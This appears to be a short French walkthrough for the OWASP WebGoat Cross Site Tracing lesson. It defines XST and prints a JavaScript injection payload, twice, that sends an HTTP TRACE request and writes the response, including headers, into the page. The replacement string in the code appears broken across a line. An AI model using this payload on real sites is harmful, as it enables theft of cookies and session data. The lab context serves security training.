OWASP WebGoat:Cross Site Tracing Attacks
Cross Site Tracing (XST) Attacks
Définition


Le Cross site tracing, abrégé XST, est une manière d'exploiter les failles de sécurité de type XSS, mettant à profit la méthode TRACE du protocole HTTP.
Source: Source : http://fr.wikipedia.org/wiki/Cross_site_tracing
Exercice
Insérer le code suivant (sur une seule ligne) dans le champ "Enter your three digit access code" :
<script type="text/javascript">
if ( navigator.appName.indexOf("Microsoft") !=-1)
{
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "./", false);
xmlHttp.send();
str1 = xmlHttp.responseText;
while (str1.indexOf("\n") > -1)
{
str1 = str1.replace("\n","
");
}
document.write(str1);
}
</script>
Ce qui donne (sur une seule ligne) :
<script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","
"); document.write(str1);}</script>